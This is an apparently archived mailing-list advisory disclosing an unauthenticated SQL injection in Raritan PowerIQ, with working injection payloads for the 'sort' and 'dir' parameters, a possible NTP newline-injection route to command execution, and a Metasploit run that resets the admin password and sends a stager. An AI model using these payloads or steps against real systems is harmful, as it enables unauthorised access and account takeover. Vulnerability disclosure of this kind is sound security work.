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Raritan PowerIQ v4.10 and v4.2.1 Unauthenticated SQL injection and possible RCE
From: Brandon Perry <bperry.volatile () gmail com>
Date: Wed, 16 Jul 2014 14:14:27 -0500
Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability within an endpoint used during initial configuration of the licensing for the product. This endpoint is still available after the appliance has been fully configured. POST /license/records HTTP/1.1 Host: 192.168.1.11 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://192.168.1.11/license Content-Length: 15 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache sort=id&dir=ASC Both the 'sort' and 'dir' parameters are vulnerable. sqlmap identified the following injection points with a total of 1173 HTTP(s) requests: --- Place: POST Parameter: sort Type: boolean-based blind Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: sort=id; SELECT PG_SLEEP(5)--&dir=ASC Type: AND/OR time-based blind Title: PostgreSQL > 8.1 time-based blind - Parameter replace Payload: sort=(SELECT 5480 FROM PG_SLEEP(5))&dir=ASC Place: POST Parameter: dir Type: boolean-based blind Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE 1/(SELECT 0) END)) Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: sort=id&dir=ASC; SELECT PG_SLEEP(5)-- Type: AND/OR time-based blind Title: PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT 1501 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END)) --- There may also be a remote command execution vulnerability available to administrators (or you if you use the stacked injection to update the hashes). When saving an NTP server, you can inject a newline (%0a) into the request in order to save a malformed 'server' stanza in the ntp.conf. When syncing with NTP, the application passes the first NTP server to the NTP utility via bash. I was not able to make my malformed NTP server available as the first in the list, thus was not able to achieve RCE. There may be a way to do it though that I am unaware of. Attached is a Metasploit module that I began writing when attempting to achieve RCE but was never able to. This module will A) Pull out the current password hash and salt for the 'admin' user and cache them. B) Update the admin creeds to be 'admin:Passw0rd!' C) Set up the malformed NTP server D) Attempt to sync with NTP. Because I was not able to achieve RCE via that vector, this module does not actually pop a shell, so I am sorry about that. :) Maybe some PostgreSQL UDF fanciness will be the key. You may also find the module available here: https://gist.github.com/brandonprry/01bcd9ec7b8a78ccfc42 Quick module run: bperry@w00den-pickle:~/tools/msf_dev$ ./msfconsole _ _ / \ /\ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ =[ metasploit v4.9.0-dev [core:4.9 api:1.0] ] + -- --=[ 1292 exploits - 702 auxiliary - 202 post ] + -- --=[ 332 payloads - 33 encoders - 8 nops ] msf > use exploit/linux/http/raritan_poweriq_sqli msf exploit(raritan_poweriq_sqli) > set RHOST 192.168.1.25 RHOST => 192.168.1.25 msf exploit(raritan_poweriq_sqli) > check [*] Attempting to get banner... This could take several minutes to fingerprint depending on network speed. [*] Looks like the length of the banner is: 107 [+] Looks like you are vulnerable. [+] 192.168.1.25:443 - The target is vulnerable. msf exploit(raritan_poweriq_sqli) > exploit [*] Started reverse handler on 192.168.1.31:4444 [*] Checking if vulnerable before attempting exploit. [*] Attempting to get banner... This could take several minutes to fingerprint depending on network speed. [*] Looks like the length of the banner is: 107 [+] Looks like you are vulnerable. [*] We are vulnerable. Exploiting. [*] Caching current admin user's password hash and salt. [*] I can set it back later and they will be none the wiser [*] Grabbing current hash [*] Old hash: 84c420e40496930e27301b10930e5966638e0b21 [*] Grabbing current salt [*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04 [*] Resetting admin user credentials to admin:Passw0rd! [*] Authenticating with admin:Passw0rd! [*] Setting some stuff up [*] Sending stager [*] Triggering stager [*] Exploit completed, but no session was created. msf exploit(raritan_poweriq_sqli) > -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website
Attachment:
raritan_poweriq_sqli.rb
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- Raritan PowerIQ v4.10 and v4.2.1 Unauthenticated SQL injection and possible RCE Brandon Perry (Jul 17)